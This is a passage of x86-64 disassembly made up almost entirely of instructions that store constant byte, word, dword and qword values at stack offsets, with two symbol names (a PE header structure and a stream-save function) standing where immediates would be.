mov word [rsp + 0x2574], ax
mov dword [rsp + 0x8bc8], 0x43c5
mov byte [rsp + 0x441], 0x12
movabs rax, 0x78abc98be5cf6b
mov qword [rsp + 0x11840], rax
mov dword [rsp + 0x8bcc], 0x9693
mov eax, 0x27
mov word [rsp + 0x2578], ax
mov eax, 0x52b
mov word [rsp + 0x257c], ax
mov byte [rsp + 0x442], 0xb0
mov byte [rsp + 0x443], 0x16
movabs rax, 0x727d59667c3eed
mov qword [rsp + 0x11848], rax
movabs rax, 0x744456b63a51a3
mov qword [rsp + 0x11850], rax
mov byte [rsp + 0x444], 0x7c
mov dword [rsp + 0x8bd0], 0x54
mov dword [rsp + 0x8bd4], 0x6369
mov eax, 0x6b1
mov word [rsp + 0x2580], ax
movabs rax, 0x7a49cb53c3c1e7
mov qword [rsp + 0x11858], rax
mov dword [rsp + 0x8bd8], 0xaa1d
movabs rax, 0x78be7b9a27e6e0
mov qword [rsp + 0x11860], rax
mov byte [rsp + 0x445], 0xa5
movabs rax, 0x7a99ff250886f3
mov qword [rsp + 0x11868], rax
mov byte [rsp + 0x446], 0xd
movabs rax, 0x7afffe7fcfc5fd
mov qword [rsp + 0x11870], rax
movabs rax, 0x77914cf2d04db2
mov qword [rsp + 0x11878], rax
mov byte [rsp + 0x447], 0x70
mov dword [rsp + 0x8bdc], 0x7639
movabs rax, 0x7a61eca0154540
mov qword [rsp + 0x11880], rax
mov byte [rsp + 0x448], 0x3f
movabs rax, 0x71fba009923bd0
mov qword [rsp + 0x11888], rax
movabs rax, 0x78f842d34eacc4
mov qword [rsp + 0x11890], rax
mov byte [rsp + 0x449], 0x2b
mov eax, 0x1f9
mov word [rsp + 0x2584], ax
mov byte [rsp + 0x44a], 0x8e
mov eax, 0x15f
mov word [rsp + 0x2588], ax
movabs rax, 0x7479478a0bc2e6
mov qword [rsp + 0x11898], rax
mov byte [rsp + 0x44b], 0x20
movabs rax, 0x735b0b370d799b
mov qword [rsp + 0x118a0], rax
mov eax, 0x18d
mov word [rsp + 0x258c], ax
mov eax, 0x219
mov word [rsp + 0x2590], ax
movabs rax, 0x79983447b0a27c
mov qword [rsp + 0x118a8], rax
mov byte [rsp + 0x44c], 0x1c
mov dword [rsp + 0x8be0], 0x5cf8
mov eax, 0xbb1
mov word [rsp + 0x2594], ax
movabs rax, 0x7b89979f1a6290
mov qword [rsp + 0x118b0], rax
mov dword [rsp + 0x8be4], 0xa26
mov byte [rsp + 0x44d], 0xf9
mov eax, 0x76d
mov word [rsp + 0x2598], ax
mov eax, 0x89c
mov word [rsp + 0x259c], ax
mov byte [rsp + 0x44e], 0x3d
mov dword [rsp + 0x8be8], 0x8ab
mov byte [rsp + 0x44f], 0x5f
mov eax, 0x2a4
mov word [rsp + 0x25a0], ax
mov dword [rsp + 0x8bec], 0x6237
movabs rax, 0x71f7fe0e60da1f
mov qword [rsp + 0x118b8], rax
mov byte [rsp + 0x450], 0x5c
mov byte [rsp + 0x451], 0x8b
mov byte [rsp + 0x452], 0x1f
mov byte [rsp + 0x453], 0x5f
mov byte [rsp + 0x454], 0xf
mov dword [rsp + 0x8bf0], 0xd85
mov dword [rsp + 0x8bf4], 0x6048
mov byte [rsp + 0x455], 0x16
mov byte [rsp + 0x456], 0x87
mov byte [rsp + 0x457], 0xe6
mov dword [rsp + 0x8bf8], 0x3415
mov dword [rsp + 0x8bfc], 0x7cdc
mov byte [rsp + 0x458], 0xc0
movabs rax, 0x7ebf834d4e31d2
mov qword [rsp + 0x118c0], rax
movabs rax, 0x706df0f8b85a46
mov qword [rsp + 0x118c8], rax
mov eax, 0x136
mov word [rsp + 0x25a4], ax
movabs rax, 0x75924abb871144
mov qword [rsp + 0x118d0], rax
movabs rax, 0x74e3ecd2884afe
mov qword [rsp + 0x118d8], rax
mov eax, 0xc1c
mov word [rsp + 0x25a8], ax
mov byte [rsp + 0x459], 0x68
movabs rax, 0x73f5600b46e93c
mov qword [rsp + 0x118e0], rax
movabs rax, 0x7ed4829bad6282
mov qword [rsp + 0x118e8], rax
mov byte [rsp + 0x45a], 0x69
mov eax, 0x6ac
mov word [rsp + 0x25ac], ax
mov eax, 0x83d
mov word [rsp + 0x25b0], ax
mov eax, 0x903
mov word [rsp + 0x25b4], ax
mov eax, 0x644
mov word [rsp + 0x25b8], ax
mov byte [rsp + 0x45b], 0
mov eax, 0x81b
mov word [rsp + 0x25bc], ax
mov eax, 0x211
mov word [rsp + 0x25c0], ax
movabs rax, 0x7004251e75f4ce
mov qword [rsp + 0x118f0], rax
mov dword [rsp + 0x8c00], 0x9e36
mov eax, 0x133
mov word [rsp + 0x25c4], ax
mov dword [rsp + 0x8c04], 0x6e3d
mov dword [rsp + 0x8c08], 0xbc1d
movabs rax, 0x7d88b48b1a55c5
mov qword [rsp + 0x118f8], rax
mov dword [rsp + 0x8c0c], 0x7e57
mov dword [rsp + 0x8c10], 0x13b6
mov eax, 0x933
mov word [rsp + 0x25c8], ax
mov eax, 0xcfe
mov word [rsp + 0x25cc], ax
mov eax, 0x5e2
mov word [rsp + 0x25d0], ax
mov eax, 0x57a
mov word [rsp + 0x25d4], ax
mov eax, 0x7fa
mov word [rsp + 0x25d8], ax
mov eax, 0xe1
mov word [rsp + 0x25dc], ax
mov byte [rsp + 0x45c], 0xfd
mov dword [rsp + 0x8c14], 0x2dfd
movabs rax, 0x72df0cb1c81ee4
mov qword [rsp + 0x11900], rax
movabs rax, 0x7e7baf088a9d87
mov qword [rsp + 0x11908], rax
mov byte [rsp + 0x45d], 0x25
movabs rax, 0x78b3d4b275d75d
mov qword [rsp + 0x11910], rax
mov dword [rsp + 0x8c18], 0xf229
movabs rax, 0x774581335c78ee
mov qword [rsp + 0x11918], rax
mov dword [rsp + 0x8c1c], 0x1def
movabs rax, 0x7cc28a42530637
mov qword [rsp + 0x11920], rax
mov eax, 0x292
mov word [rsp + 0x25e0], ax
mov eax, 0x475
mov word [rsp + 0x25e4], ax
mov byte [rsp + 0x45e], 0xd3
mov byte [rsp + 0x45f], 0xd2
mov eax, 0x2a6
mov word [rsp + 0x25e8], ax
mov byte [rsp + 0x460], 0x15
mov byte [rsp + 0x461], 0x42
mov byte [rsp + 0x462], 0x8a
movabs rax, 0x70add9a7656c10
mov qword [rsp + 0x11928], rax
mov dword [rsp + 0x8c20], 0xe1f6
movabs rax, 0x71b3379f0ca5bc
mov qword [rsp + 0x11930], rax
mov dword [rsp + 0x8c24], 0x140f
movabs rax, 0x749af52b8b0696
mov qword [rsp + 0x11938], rax
mov eax, 0x79d
mov word [rsp + 0x25ec], ax
movabs rax, 0x7e91279039883d
mov qword [rsp + 0x11940], rax
movabs rax, 0x7c56401d809753
mov qword [rsp + 0x11948], rax
mov byte [rsp + 0x463], 0xed
movabs rax, 0x75a9145ea467ac
mov qword [rsp + 0x11950], rax
mov dword [rsp + 0x8c28], 0xe742
mov eax, 0x8e2
mov word [rsp + 0x25f0], ax
mov byte [rsp + 0x464], 0x7e
movabs rax, 0x79a8c07e555464
mov qword [rsp + 0x11958], rax
mov byte [rsp + 0x465], 0x38
movabs rax, 0x745b95c2a83684
mov qword [rsp + 0x11960], rax
movabs rax, 0x744fbe04893352
mov qword [rsp + 0x11968], rax
mov byte [rsp + 0x466], 0xfb
mov byte [rsp + 0x467], 0x35
mov byte [rsp + 0x468], 0x48
mov dword [rsp + 0x8c2c], 0x3bbb
mov dword [rsp + 0x8c30], 0x3c55
mov dword [rsp + 0x8c34], 0xc985
movabs rax, 0x7d7600c612af71
mov qword [rsp + 0x11970], rax
mov eax, 0x526
mov word [rsp + 0x25f4], ax
movabs rax, 0x7be26cbe4eafe5
mov qword [rsp + 0x11978], rax
movabs rax, 0x7cc0fb9f497165
mov qword [rsp + 0x11980], rax
mov byte [rsp + 0x469], 0xf0
mov byte [rsp + 0x46a], 0xd6
mov dword [rsp + 0x8c38], 0x81e2
mov eax, 0x9d7
mov word [rsp + 0x25f8], ax
movabs rax, 0x787c431a66e076
mov qword [rsp + 0x11988], rax
mov eax, 0x6eb
mov word [rsp + 0x25fc], ax
mov eax, 0x119
mov word [rsp + 0x2600], ax
mov byte [rsp + 0x46b], 0xb9
movabs rax, 0x737b0a221088ec
mov qword [rsp + 0x11990], rax
mov dword [rsp + 0x8c3c], 0x7c04
mov eax, 0x743
mov word [rsp + 0x2604], ax
movabs rax, 0x7e0492f5e835a2
mov qword [rsp + 0x11998], rax
movabs rax, 0x74052c178cc72d
mov qword [rsp + 0x119a0], rax
mov eax, 0xb2a
mov word [rsp + 0x2608], ax
mov dword [rsp + 0x8c40], 0x6dce
movabs rax, 0x7d63d817ee74aa
mov qword [rsp + 0x119a8], rax
mov eax, 0xfb9
mov word [rsp + 0x260c], ax
mov dword [rsp + 0x8c44], 0x508c
mov dword [rsp + 0x8c48], 0x6f98
mov byte [rsp + 0x46c], 0x7a
mov dword [rsp + 0x8c4c], 0x2718
movabs rax, 0x74cbda134a18bf
mov qword [rsp + 0x119b0], rax
movabs rax, 0x7315506928f7cf
mov qword [rsp + 0x119b8], rax
mov eax, 0xdc9
mov word [rsp + 0x2610], ax
movabs rax, 0x791976b15c3bc2
mov qword [rsp + 0x119c0], rax
mov dword [rsp + 0x8c50], 0xa819
mov byte [rsp + 0x46d], 0xc2
mov byte [rsp + 0x46e], 0x49
mov eax, 0xb15
mov word [rsp + 0x2614], ax
mov byte [rsp + 0x46f], 0x25
mov eax, 0x743
mov word [rsp + 0x2618], ax
movabs rax, 0x7997be76ee74bc
mov qword [rsp + 0x119c8], rax
movabs rax, 0x7e2caa70ff03ba
mov qword [rsp + 0x119d0], rax
mov dword [rsp + 0x8c54], 0x9272
mov dword [rsp + 0x8c58], 0x4005
mov eax, 0x608
mov word [rsp + 0x261c], ax
movabs rax, 0x763569dbda5971
mov qword [rsp + 0x119d8], rax
mov dword [rsp + 0x8c5c], 0x399e
mov dword [rsp + 0x8c60], 0x5723
mov dword [rsp + 0x8c64], 0xbfb
mov dword [rsp + 0x8c68], 0x9b67
mov eax, 0xe0e
mov word [rsp + 0x2620], ax
mov eax, 0x102
mov word [rsp + 0x2624], ax
movabs rax, 0x74771f5b7cbcf1
mov qword [rsp + 0x119e0], rax
mov eax, 0x4f3
mov word [rsp + 0x2628], ax
mov eax, 0x75
mov word [rsp + 0x262c], ax
mov dword [rsp + 0x8c6c], 0x698
mov eax, 0x3d8
mov word [rsp + 0x2630], ax
movabs rax, 0x755cf5828b5fa3
mov qword [rsp + 0x119e8], rax
movabs rax, 0x70614fe1157cb6
mov qword [rsp + 0x119f0], rax
movabs rax, 0x772cea8ce29705
mov qword [rsp + 0x119f8], rax
mov dword [rsp + 0x8c70], 0x9cb0
mov eax, 0x19e
mov word [rsp + 0x2634], ax
movabs rax, 0x7d144e3c918830
mov qword [rsp + 0x11a00], rax
movabs rax, 0x7814c37b8593ab
mov qword [rsp + 0x11a08], rax
movabs rax, 0x7db716cf4ff464
mov qword [rsp + 0x11a10], rax
movabs rax, 0x74dbaf7b4ea2a5
mov qword [rsp + 0x11a18], rax
movabs rax, 0x74cf24e1f69f4a
mov qword [rsp + 0x11a20], rax
mov eax, 0xee1
mov word [rsp + 0x2638], ax
mov dword [rsp + 0x8c74], 0x607f
mov dword [rsp + 0x8c78], 0x28cf
mov eax, 0x1ee
mov word [rsp + 0x263c], ax
mov byte [rsp + 0x470], 0xf
mov dword [rsp + 0x8c7c], 0x3919
movabs rax, 0x761f6b3cfe7ec8
mov qword [rsp + 0x11a28], rax
mov dword [rsp + 0x8c80], 0x2a51
movabs rax, 0x7452e36d4a7e44
mov qword [rsp + 0x11a30], rax
mov dword [rsp + 0x8c84], 0x2291
movabs rax, 0x7e6eb1bcc05a47
mov qword [rsp + 0x11a38], rax
mov dword [rsp + 0x8c88], 0x2a83
mov eax, 0xa7b
mov word [rsp + 0x2640], ax
movabs rax, 0x702a926935eb01
mov qword [rsp + 0x11a40], rax
movabs rax, 0x7bafcb3444993c
mov qword [rsp + 0x11a48], rax
mov eax, 0x580
mov word [rsp + 0x2644], ax
mov dword [rsp + 0x8c8c], 0x6cac
mov dword [rsp + 0x8c90], 0xd89
mov dword [rsp + 0x8c94], 0x3010
mov dword [rsp + 0x8c98], 0xbebf
movabs rax, 0x7d2220732edbbe
mov qword [rsp + 0x11a50], rax
movabs rax, 0x7497e080dd629e
mov qword [rsp + 0x11a58], rax
movabs rax, 0x7c35d29265686c
mov qword [rsp + 0x11a60], rax
mov byte [rsp + 0x471], 0x1a
mov byte [rsp + 0x472], 0x96
mov byte [rsp + 0x473], 0x45
mov eax, 0x31c
mov word [rsp + 0x2648], ax
mov dword [rsp + 0x8c9c], 0x12d3
movabs rax, 0x7523d163b38b6e
mov qword [rsp + 0x11a68], rax
movabs rax, 0x7aae465ada35c0
mov qword [rsp + 0x11a70], rax
movabs rax, 0x7dbdf74c6c99fc
mov qword [rsp + 0x11a78], rax
mov eax, 0x6c4
mov word [rsp + 0x264c], ax
mov dword [rsp + 0x8ca0], 0x6713
mov eax, 0x353
mov word [rsp + 0x2650], ax
mov byte [rsp + 0x474], 0x71
mov byte [rsp + 0x475], 0xf
mov byte [rsp + 0x476], 0x33
mov byte [rsp + 0x477], 0x63
mov eax, 0x49c
mov word [rsp + 0x2654], ax
movabs rax, 0x797f6780781b49
mov qword [rsp + 0x11a80], rax
mov byte [rsp + 0x478], 0x39
mov byte [rsp + 0x479], 6
movabs rax, 0x74a87ba8d7583f
mov qword [rsp + 0x11a88], rax
mov dword [rsp + 0x8ca4], 0xc5ba
mov eax, ILSaveToStream
mov word [rsp + 0x2658], ax
movabs rax, 0x79570a7d7f4412
mov qword [rsp + 0x11a90], rax
movabs rax, 0x73c460b1e0e4f1
mov qword [rsp + 0x11a98], rax
mov dword [rsp + 0x8ca8], 0x6ba6
mov dword [rsp + 0x8cac], 0xd077
mov eax, 0xf08
mov word [rsp + 0x265c], ax
mov byte [rsp + 0x47a], 0x4b
mov eax, 0x735
mov word [rsp + 0x2660], ax
mov dword [rsp + 0x8cb0], 0xa99
mov eax, 0x3c0
mov word [rsp + 0x2664], ax
mov eax, 0x8b
mov word [rsp + 0x2668], ax
mov eax, 0x975
mov word [rsp + 0x266c], ax
mov byte [rsp + 0x47b], 0x92
mov eax, 0x9ae
mov word [rsp + 0x2670], ax
mov eax, 0x1b8
mov word [rsp + 0x2674], ax
movabs rax, 0x7ec8aa5d8081dd
mov qword [rsp + 0x11aa0], rax
movabs rax, 0x739ae8da409ecd
mov qword [rsp + 0x11aa8], rax
mov dword [rsp + 0x8cb4], 0x739e
movabs rax, 0x7955b773ec0032
mov qword [rsp + 0x11ab0], rax
mov eax, 0xd7e
mov word [rsp + 0x2678], ax
movabs rax, 0x72cddad6af4499
mov qword [rsp + 0x11ab8], rax
movabs rax, 0x71c5d17e36fbae
mov qword [rsp + 0x11ac0], rax
mov dword [rsp + 0x8cb8], 0x2a4a
movabs rax, 0x770e33fe080dd7
mov qword [rsp + 0x11ac8], rax
mov eax, 0x6c3
mov word [rsp + 0x267c], ax
mov eax, 0x4b6
mov word [rsp + 0x2680], ax
movabs rax, 0x7a59abe51367bf
mov qword [rsp + 0x11ad0], rax
mov byte [rsp + 0x47c], 0xf9
mov byte [rsp + 0x47d], 0x15
mov eax, 0x738
mov word [rsp + 0x2684], ax
mov eax, 0x43c
mov word [rsp + 0x2688], ax
mov eax, 0xcbb
mov word [rsp + 0x268c], ax
movabs rax, 0x7c9b31ac2a2430
mov qword [rsp + 0x11ad8], rax
movabs rax, 0x77603a6f5f1769
mov qword [rsp + 0x11ae0], rax
movabs rax, 0x7a46f92b40ef34
mov qword [rsp + 0x11ae8], rax
mov byte [rsp + 0x47e], 0x7b
movabs rax, 0x74d0e0604552dd
mov qword [rsp + 0x11af0], rax
mov eax, 0x107
mov word [rsp + 0x2690], ax
mov dword [rsp + 0x8cbc], 0x5bf3
mov eax, 0xb5a
mov word [rsp + 0x2694], ax
movabs rax, 0x75b2ce319befa1
mov qword [rsp + 0x11af8], rax
mov byte [rsp + 0x47f], 0x31
mov dword [rsp + 0x8cc0], 0x5df9
movabs rax, 0x7db796ddf8c20f
mov qword [rsp + 0x11b00], rax
movabs rax, 0x77e88b5352c8f0
mov qword [rsp + 0x11b08], rax
mov eax, 0x455
mov word [rsp + 0x2698], ax
mov byte [rsp + 0x480], 0x1d
mov byte [rsp + 0x481], 0xdc
movabs rax, 0x7145354bf55b99
mov qword [rsp + 0x11b10], rax
mov dword [rsp + 0x8cc4], 0x20ab
movabs rax, 0x7c6adf48942a6e
mov qword [rsp + 0x11b18], rax
mov byte [rsp + 0x482], 0x76
movabs rax, 0x7d7b82123f4f29
mov qword [rsp + 0x11b20], rax
movabs rax, 0x7c900c5a2299cb
mov qword [rsp + 0x11b28], rax
movabs rax, 0x71466d68fccdf0
mov qword [rsp + 0x11b30], rax
mov dword [rsp + 0x8cc8], 0x5ae0
mov eax, 0x178
mov word [rsp + 0x269c], ax
mov byte [rsp + 0x483], 0xf9
movabs rax, 0x7d62f1b0815e4c
mov qword [rsp + 0x11b38], rax
movabs rax, 0x7417b6130cdaae
mov qword [rsp + 0x11b40], rax
mov eax, 0xa13
mov word [rsp + 0x26a0], ax
mov dword [rsp + 0x8ccc], 0x5b2c
movabs rax, 0x72e23696d89073
mov qword [rsp + 0x11b48], rax
mov byte [rsp + 0x484], 0x18
movabs rax, 0x73865bf8681c9f
mov qword [rsp + 0x11b50], rax
movabs rax, 0x766445e8c890e0
mov qword [rsp + 0x11b58], rax
mov byte [rsp + 0x485], 0xba
mov eax, 0x66c
mov word [rsp + 0x26a4], ax
mov byte [rsp + 0x486], 0x8d
mov eax, 0x10a
mov word [rsp + 0x26a8], ax
mov dword [rsp + 0x8cd0], 0x2efd
mov dword [rsp + 0x8cd4], 0xbc1
mov dword [rsp + 0x8cd8], 0x7ba8
movabs rax, 0x78dc0d6003e5e0
mov qword [rsp + 0x11b60], rax
mov dword [rsp + 0x8cdc], 0x934f
mov byte [rsp + 0x487], 0x6e
mov dword [rsp + 0x8ce0], 0x2450
movabs rax, 0x7095b4494582be
mov qword [rsp + 0x11b68], rax
mov byte [rsp + 0x488], 0xe
movabs rax, 0x7b55657fa71d4c
mov qword [rsp + 0x11b70], rax
movabs rax, 0x7eb9ac3c03e1e3
mov qword [rsp + 0x11b78], rax
mov byte [rsp + 0x489], 0x11
mov byte [rsp + 0x48a], 0x4a
movabs rax, 0x7dfb40a9f86d91
mov qword [rsp + 0x11b80], rax
mov byte [rsp + 0x48b], 0x62
mov dword [rsp + 0x8ce4], 0x2420
mov dword [rsp + 0x8ce8], 0x7bcc
mov byte [rsp + 0x48c], 0x43
mov eax, 0xac7
mov word [rsp + 0x26ac], ax
mov byte [rsp + 0x48d], 0xe9
movabs rax, 0x7583f3d59e8580
mov qword [rsp + 0x11b88], rax
movabs rax, 0x7c8708c72477dc
mov qword [rsp + 0x11b90], rax
movabs rax, 0x7213e90dc1b9cf
mov qword [rsp + 0x11b98], rax
mov dword [rsp + 0x8cec], 0x100a
movabs rax, 0x74fe7483c413e5
mov qword [rsp + 0x11ba0], rax
mov eax, 0x2ef
mov word [rsp + 0x26b0], ax
movabs rax, 0x7cb7dc94f4beb4
mov qword [rsp + 0x11ba8], rax
mov byte [rsp + 0x48e], 0x7f
mov byte [rsp + 0x48f], 0x4a
mov eax, 0x41
mov word [rsp + 0x26b4], ax
mov byte [rsp + 0x490], 0xf6
movabs rax, 0x72778ab014b717
mov qword [rsp + 0x11bb0], rax
mov dword [rsp + 0x8cf0], 0x2e56
mov dword [rsp + 0x8cf4], 0x788a
mov byte [rsp + 0x491], 0x1c
movabs rax, 0x70ebb4d4914324
mov qword [rsp + 0x11bb8], rax
mov eax, 0x9f
mov word [rsp + 0x26b8], ax
mov eax, 0x20b
mov word [rsp + 0x26bc], ax
movabs rax, 0x7a0fc219bb168a
mov qword [rsp + 0x11bc0], rax
mov dword [rsp + 0x8cf8], 0x17a8
mov eax, 0xfc1
mov word [rsp + 0x26c0], ax
mov eax, 0x7e7
mov word [rsp + 0x26c4], ax
mov eax, 0x455
mov word [rsp + 0x26c8], ax
movabs rax, 0x7383730002a730
mov qword [rsp + 0x11bc8], rax
mov byte [rsp + 0x492], 0x91
movabs rax, 0x772ccd01084713
mov qword [rsp + 0x11bd0], rax
movabs rax, 0x72788b51d5a4f3
mov qword [rsp + 0x11bd8], rax
mov dword [rsp + 0x8cfc], 0x29b5
mov eax, 0x4e2
mov word [rsp + 0x26cc], ax
mov dword [rsp + 0x8d00], 0x891d
mov byte [rsp + 0x493], 0x7c
mov eax, 0xe29
mov word [rsp + 0x26d0], ax
movabs rax, 0x784d0cdf09bb4c
mov qword [rsp + 0x11be0], rax
mov eax, 0xe65
mov word [rsp + 0x26d4], ax
movabs rax, 0x77b183158e6c19
mov qword [rsp + 0x11be8], rax
mov eax, 0x761
mov word [rsp + 0x26d8], ax
mov eax, 0x889
mov word [rsp + 0x26dc], ax
mov byte [rsp + 0x494], 0xab
movabs rax, 0x732d6e271c5a2a
mov qword [rsp + 0x11bf0], rax
mov eax, 0x5a3
mov word [rsp + 0x26e0], ax
mov byte [rsp + 0x495], 0x78
mov byte [rsp + 0x496], 0x71
movabs rax, 0x74d6b7b9ba89cd
mov qword [rsp + 0x11bf8], rax
mov eax, 0x140
mov word [rsp + 0x26e4], ax
movabs rax, 0x7a95ded5763e7d
mov qword [rsp + 0x11c00], rax
mov dword [rsp + 0x8d04], 0x27c3
mov byte [rsp + 0x497], 0x52
movabs rax, 0x7c935d64877984
mov qword [rsp + 0x11c08], rax
mov eax, pe_nt_image_headers64
mov word [rsp + 0x26e8], ax
mov byte [rsp + 0x498], 0x7b
mov dword [rsp + 0x8d08], 0x4e9f
movabs rax, 0x74ccd3bafd70df
mov qword [rsp + 0x11c10], rax
mov eax, 0x404
mov word [rsp + 0x26ec], ax
mov dword [rsp + 0x8d0c], 0x594b
mov dword [rsp + 0x8d10], 0x23e9
mov dword [rsp + 0x8d14], 0x9f4
mov byte [rsp + 0x499], 0xb5
mov byte [rsp + 0x49a], 0x60
mov eax, 0x981
mov word [rsp + 0x26f0], ax
mov byte [rsp + 0x49b], 0x58
mov dword [rsp + 0x8d18], 0x409c
mov dword [rsp + 0x8d1c], 0xb970
mov eax, 0x70b
mov word [rsp + 0x26f4], ax
mov dword [rsp + 0x8d20], 0x25ea
mov dword [rsp + 0x8d24], 0x8309
movabs rax, 0x72b158a1f33a98
mov qword [rsp + 0x11c18], rax
mov dword [rsp + 0x8d28], 0x9a5b
movabs rax, 0x7c630a182a3a09
mov qword [rsp + 0x11c20], rax
mov eax, 0x295
mov word [rsp + 0x26f8], ax
mov eax, 0x16d
mov word [rsp + 0x26fc], ax
movabs rax, 0x715bf782788e3a
mov qword [rsp + 0x11c28], rax
mov dword [rsp + 0x8d2c], 0x5516
mov byte [rsp + 0x49c], 0x74
movabs rax, 0x79d22f977f8214
mov qword [rsp + 0x11c30], rax
mov eax, 0x605
mov word [rsp + 0x2700], ax
mov byte [rsp + 0x49d], 0x24
movabs rax, 0x7246abe11f527e
mov qword [rsp + 0x11c38], rax
movabs rax, 0x7eda0fca26152c
mov qword [rsp + 0x11c40], rax
movabs rax, 0x70d4b846d87185
mov qword [rsp + 0x11c48], rax
mov byte [rsp + 0x49e], 0x45
mov dword [rsp + 0x8d30], 0x514b
movabs rax, 0x7d4d3f073ed82b
mov qword [rsp + 0x11c50], rax
movabs rax, 0x7a9a2ac8d78f0a
mov qword [rsp + 0x11c58], rax
mov byte [rsp + 0x49f], 2
mov byte [rsp + 0x4a0], 0xb6
mov eax, 0x7fe
mov word [rsp + 0x2704], ax
movabs rax, 0x7597477493736a
mov qword [rsp + 0x11c60], rax
mov dword [rsp + 0x8d34], 0x34f5
movabs rax, 0x78735bd7902b77
mov qword [rsp + 0x11c68], rax
mov dword [rsp + 0x8d38], 0x5964
movabs rax, 0x7cc959806a7e2e
mov qword [rsp + 0x11c70], rax
movabs rax, 0x77b011544b9212
mov qword [rsp + 0x11c78], rax
mov dword [rsp + 0x8d3c], 0x8304
mov eax, 0xe58
mov word [rsp + 0x2708], ax
mov byte [rsp + 0x4a1], 0x27
mov dword [rsp + 0x8d40], 0xde5d
movabs rax, 0x7d61db4fec9bd4
mov qword [rsp + 0x11c80], rax
mov eax, 0x2be
mov word [rsp + 0x270c], ax
movabs rax, 0x759ac48db24ee1
mov qword [rsp + 0x11c88], rax
mov byte [rsp + 0x4a2], 0xb9
mov eax, 0x222
mov word [rsp + 0x2710], ax
mov dword [rsp + 0x8d44], 0x62d7
mov dword [rsp + 0x8d48], 0x676e
mov dword [rsp + 0x8d4c], 0x6756
mov eax, 0xb9b
mov word [rsp + 0x2714], ax
mov eax, 0x5ce
mov word [rsp + 0x2718], ax
mov dword [rsp + 0x8d50], 0x6267
mov byte [rsp + 0x4a3], 0x5e
mov eax, 0xc02
mov word [rsp + 0x271c], ax
mov eax, 0x575
mov word [rsp + 0x2720], ax
movabs rax, 0x734e631a6cbb54
mov qword [rsp + 0x11c90], rax
movabs rax, 0x7762730d521e7c
mov qword [rsp + 0x11c98], rax
mov byte [rsp + 0x4a4], 0x25
mov eax, 0x7b4
mov word [rsp + 0x2724], ax
movabs rax, 0x7a02da85599e1d
mov qword [rsp + 0x11ca0], rax
movabs rax, 0x764e70b7bb1443
mov qword [rsp + 0x11ca8], rax
mov byte [rsp + 0x4a5], 9
mov byte [rsp + 0x4a6], 0x40
movabs rax, 0x7321ff7edc27bd
mov qword [rsp + 0x11cb0], rax
mov eax, 0x3b1
mov word [rsp + 0x2728], ax
mov eax, 0xd2d
mov word [rsp + 0x272c], ax
mov dword [rsp + 0x8d54], 0x8a09
movabs rax, 0x70d310cd56857d
mov qword [rsp + 0x11cb8], rax
movabs rax, 0x73b3638148c9f8
mov qword [rsp + 0x11cc0], rax
mov byte [rsp + 0x4a7], 0x22
mov eax, 0x62a
mov word [rsp + 0x2730], ax
movabs rax, 0x72179f23e5d76a
mov qword [rsp + 0x11cc8], rax
movabs rax, 0x73224b837c9ac0
mov qword [rsp + 0x11cd0], rax
mov dword [rsp + 0x8d58], 0x661c
movabs rax, 0x79799786ff619d
mov qword [rsp + 0x11cd8], rax
mov dword [rsp + 0x8d5c], 0x88bd
mov byte [rsp + 0x4a8], 0x77
mov eax, 0x310
mov word [rsp + 0x2734], ax
mov byte [rsp + 0x4a9], 0x7b
movabs rax, 0x7671f78895751f
mov qword [rsp + 0x11ce0], rax
mov eax, 0x35b
mov word [rsp + 0x2738], ax
movabs rax, 0x73968156f8cc56
mov qword [rsp + 0x11ce8], rax
mov dword [rsp + 0x8d60], 0x6a67
movabs rax, 0x791d74537e0e66
mov qword [rsp + 0x11cf0], rax
mov byte [rsp + 0x4aa], 0x3b
mov byte [rsp + 0x4ab], 0xe2
mov dword [rsp + 0x8d64], 0xaa15
mov dword [rsp + 0x8d68], 0x719
mov dword [rsp + 0x8d6c], 0x4eab
mov byte [rsp + 0x4ac], 0xaf
mov eax, 0xade
mov word [rsp + 0x273c], ax
movabs rax, 0x7512e8faaa1f06
mov qword [rsp + 0x11cf8], rax
movabs rax, 0x789221dca0b5e2
mov qword [rsp + 0x11d00], rax
mov dword [rsp + 0x8d70], 0xe86e
mov eax, 0x3b6
mov word [rsp + 0x2740], ax
mov eax, 0x37f
mov word [rsp + 0x2744], ax
mov dword [rsp + 0x8d74], 0xe8d9
mov byte [rsp + 0x4ad], 0xda
movabs rax, 0x7e0e30f5344bbf
mov qword [rsp + 0x11d08], rax
movabs rax, 0x795a4923e17c87
mov qword [rsp + 0x11d10], rax
mov dword [rsp + 0x8d78], 0x2da2
mov eax, 0x244
mov word [rsp + 0x2748], ax
mov byte [rsp + 0x4ae], 0x75
movabs rax, 0x7d36b4b85bc428
mov qword [rsp + 0x11d18], rax
movabs rax, 0x774549debd1234
mov qword [rsp + 0x11d20], rax
mov eax, 0x2c7
mov word [rsp + 0x274c], ax
mov dword [rsp + 0x8d7c], 0xe32
mov eax, 0x59b
mov word [rsp + 0x2750], ax
mov dword [rsp + 0x8d80], 0x70bb
mov eax, 0xd7
mov word [rsp + 0x2754], ax
mov eax, 0x9d0
mov word [rsp + 0x2758], ax
movabs rax, 0x7a6c99eb7d61ff
mov qword [rsp + 0x11d28], rax
mov eax, 0x265
mov word [rsp + 0x275c], ax
mov byte [rsp + 0x4af], 0xbf
mov eax, 0x55
mov word [rsp + 0x2760], ax
movabs rax, 0x7d69362ec47497
mov qword [rsp + 0x11d30], rax
movabs rax, 0x76dc985166060c
mov qword [rsp + 0x11d38], rax
mov byte [rsp + 0x4b0], 0x5e
mov dword [rsp + 0x8d84], 0x439f
mov byte [rsp + 0x4b1], 0x19
mov dword [rsp + 0x8d88], 0x444f
mov eax, 0xec2
mov word [rsp + 0x2764], ax
movabs rax, 0x75bc5922b1b44e
mov qword [rsp + 0x11d40], rax
movabs rax, 0x7160fe0349f432
mov qword [rsp + 0x11d48], rax
mov dword [rsp + 0x8d8c], 0x3f78
movabs rax, 0x7088737f8f3671
mov qword [rsp + 0x11d50], rax
mov byte [rsp + 0x4b2], 0xf7
movabs rax, 0x7d2eb921afef5c
mov qword [rsp + 0x11d58], rax
movabs rax, 0x7c8d4089adb6c5
mov qword [rsp + 0x11d60], rax
mov eax, 0xec7
mov word [rsp + 0x2768], ax
movabs rax, 0x79e26a4a5f3643
mov qword [rsp + 0x11d68], rax
mov dword [rsp + 0x8d90], 0x6fe6
movabs rax, 0x75c522aea7dc61
mov qword [rsp + 0x11d70], rax
movabs rax, 0x7b03612dd86c76
mov qword [rsp + 0x11d78], rax
mov eax, 0x4a1
mov word [rsp + 0x276c], ax
movabs rax, 0x78a3547c2aec4c
